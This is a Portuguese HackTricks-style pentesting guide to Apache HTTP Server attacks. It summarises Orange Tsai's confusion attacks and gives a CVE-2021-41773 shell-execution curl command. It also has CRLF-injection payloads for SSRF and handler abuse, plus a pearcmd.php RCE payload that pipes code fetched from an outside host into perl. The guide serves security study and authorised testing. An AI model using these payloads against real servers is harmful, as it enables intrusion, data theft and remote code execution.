15 KiB
Apache
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Extensões PHP executáveis
Verifique quais extensões estão sendo executadas pelo servidor Apache. Para procurá-las, você pode executar:
grep -R -B1 "httpd-php" /etc/apache2
Além disso, alguns lugares onde você pode encontrar essa configuração são:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
{% code overflow="wrap" %}
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
{% endcode %}
Confusion Attack
Esses tipos de ataques foram introduzidos e documentados pela Orange neste post do blog e o seguinte é um resumo. O ataque "confusão" basicamente explora como os dezenas de módulos que trabalham juntos para criar um Apache não funcionam perfeitamente sincronizados e fazer com que alguns deles modifiquem alguns dados inesperados pode causar uma vulnerabilidade em um módulo posterior.
Filename Confusion
Truncation
O mod_rewrite
irá truncar o conteúdo de r->filename
após o caractere ?
(modules/mappers/mod_rewrite.c#L4141). Isso não está totalmente errado, pois a maioria dos módulos tratará r->filename
como uma URL. Mas em outras ocasiões isso será tratado como um caminho de arquivo, o que causaria um problema.
- Path Truncation
É possível abusar do mod_rewrite
como no seguinte exemplo de regra para acessar outros arquivos dentro do sistema de arquivos, removendo a última parte do caminho esperado, adicionando simplesmente um ?
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Atribuição Enganosa do RewriteFlag
Na seguinte regra de reescrita, desde que a URL termine em .php, ela será tratada e executada como php. Portanto, é possível enviar uma URL que termina em .php após o caractere ?
enquanto carrega no caminho um tipo diferente de arquivo (como uma imagem) com código php malicioso dentro dele:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bypass de ACL
É possível acessar arquivos que o usuário não deveria conseguir acessar, mesmo que o acesso deva ser negado com configurações como:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Isso ocorre porque, por padrão, o PHP-FPM receberá URLs que terminam em .php
, como http://server/admin.php%3Fooo.php
e porque o PHP-FPM removerá qualquer coisa após o caractere ?
, a URL anterior permitirá carregar /admin.php
, mesmo que a regra anterior a proíba.
Confusão do DocumentRoot
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Um fato interessante sobre o Apache é que a reescrita anterior tentará acessar o arquivo tanto do documentRoot quanto da raiz. Assim, uma solicitação para https://server/abouth.html
verificará o arquivo em /var/www/html/about.html
e /about.html
no sistema de arquivos. O que basicamente pode ser explorado para acessar arquivos no sistema de arquivos.
Divulgação de Código Fonte do Lado do Servidor
- Divulgar Código Fonte CGI
Basta adicionar um %3F no final para vazar o código fonte de um módulo cgi:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- Divulgar Código Fonte PHP
Se um servidor tiver diferentes domínios, sendo um deles um domínio estático, isso pode ser explorado para percorrer o sistema de arquivos e vazar código php:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Manipulação de Gadgets Locais
O principal problema com o ataque anterior é que, por padrão, a maioria dos acessos ao sistema de arquivos será negada, como na configuração padrão do Apache HTTP Server:
<Directory />
AllowOverride None
Require all denied
</Directory>
No entanto, os sistemas operacionais Debian/Ubuntu permitem por padrão /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Portanto, seria possível abusar de arquivos localizados dentro de /usr/share
nessas distribuições.
Gadget Local para Divulgação de Informações
- Apache HTTP Server com websocketd pode expor o script dump-env.php em /usr/share/doc/websocketd/examples/php/, que pode vazar variáveis de ambiente sensíveis.
- Servidores com Nginx ou Jetty podem expor informações sensíveis de aplicações web (por exemplo, web.xml) através de suas raízes web padrão localizadas em /usr/share:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Gadget Local para XSS
- No Ubuntu Desktop com LibreOffice instalado, explorar o recurso de troca de idioma dos arquivos de ajuda pode levar a Cross-Site Scripting (XSS). Manipular a URL em /usr/share/libreoffice/help/help.html pode redirecionar para páginas maliciosas ou versões mais antigas através de RewriteRule inseguro.
Gadget Local para LFI
- Se PHP ou certos pacotes front-end como JpGraph ou jQuery-jFeed estiverem instalados, seus arquivos podem ser explorados para ler arquivos sensíveis como /etc/passwd:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Gadget Local para SSRF
- Utilizando MagpieRSS's magpie_debug.php em /usr/share/php/magpierss/scripts/magpie_debug.php, uma vulnerabilidade SSRF pode ser facilmente criada, fornecendo um gateway para mais explorações.
Gadget Local para RCE
- As oportunidades para Remote Code Execution (RCE) são vastas, com instalações vulneráveis como um PHPUnit desatualizado ou phpLiteAdmin. Estes podem ser explorados para executar código arbitrário, demonstrando o extenso potencial da manipulação de gadgets locais.
Jailbreak a partir de Gadgets Locais
Também é possível fazer jailbreak a partir das pastas permitidas seguindo symlinks gerados por softwares instalados nessas pastas, como:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Além disso, abusando de symlinks foi possível obter RCE no Redmine.
Confusão de Manipuladores
Este ataque explora a sobreposição de funcionalidade entre as diretivas AddHandler
e AddType
, que ambas podem ser usadas para habilitar o processamento PHP. Originalmente, essas diretivas afetavam campos diferentes (r->handler
e r->content_type
, respectivamente) na estrutura interna do servidor. No entanto, devido a código legado, o Apache trata essas diretivas de forma intercambiável sob certas condições, convertendo r->content_type
em r->handler
se o primeiro estiver definido e o último não.
Além disso, no Apache HTTP Server (server/config.c#L420
), se r->handler
estiver vazio antes de executar ap_run_handler()
, o servidor usa r->content_type
como o manipulador, efetivamente tornando AddType
e AddHandler
idênticos em efeito.
Sobrescrever Manipulador para Divulgar Código Fonte PHP
Em esta palestra, foi apresentada uma vulnerabilidade onde um Content-Length
incorreto enviado por um cliente pode fazer com que o Apache retorne o código fonte PHP. Isso ocorreu devido a um problema de manuseio de erros com ModSecurity e o Apache Portable Runtime (APR), onde uma resposta dupla leva a sobrescrever r->content_type
para text/html
.
Como o ModSecurity não lida corretamente com valores de retorno, ele retornaria o código PHP e não o interpretaria.
Sobrescrever Manipulador para XXXX
TODO: Orange ainda não divulgou essa vulnerabilidade
Invocar Manipuladores Arbitrários
Se um atacante conseguir controlar o cabeçalho Content-Type
em uma resposta do servidor, ele poderá invocar manipuladores de módulo arbitrários. No entanto, no ponto em que o atacante controla isso, a maior parte do processo da solicitação já terá sido concluída. No entanto, é possível reiniciar o processo da solicitação abusando do cabeçalho Location
porque se o Status
retornado for 200 e o cabeçalho Location
começar com uma /
, a resposta é tratada como uma Redireção do Lado do Servidor e deve ser processada.
De acordo com RFC 3875 (especificação sobre CGI) na Seção 6.2.2 define um comportamento de Resposta de Redirecionamento Local:
O script CGI pode retornar um caminho URI e uma string de consulta (‘local-pathquery’) para um recurso local em um campo de cabeçalho Location. Isso indica ao servidor que ele deve reprocessar a solicitação usando o caminho especificado.
Portanto, para realizar este ataque é necessário uma das seguintes vulnerabilidades:
- Injeção CRLF nos cabeçalhos de resposta CGI
- SSRF com controle completo dos cabeçalhos de resposta
Manipulador Arbitrário para Divulgação de Informações
Por exemplo, /server-status
deve ser acessível apenas localmente:
<Location /server-status>
SetHandler server-status
Require local
</Location>
É possível acessá-lo definindo o Content-Type
como server-status
e o cabeçalho Location começando com /
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Manipulador Arbitrário para SSRF Completo
Redirecionando para mod_proxy
para acessar qualquer protocolo em qualquer URL:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
No entanto, o cabeçalho X-Forwarded-For
é adicionado, impedindo o acesso aos endpoints de metadados da nuvem.
Manipulador Arbitrário para Acessar o Socket de Domínio Unix Local
Acesse o Socket de Domínio Unix local do PHP-FPM para executar um backdoor PHP localizado em /tmp/
:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Manipulador Arbitrário para RCE
A imagem oficial do PHP Docker inclui o PEAR (Pearcmd.php
), uma ferramenta de gerenciamento de pacotes PHP via linha de comando, que pode ser explorada para obter RCE:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Verifique o Resumo de LFI do Docker PHP, escrito por Phith0n para os detalhes desta técnica.
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Verifique os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.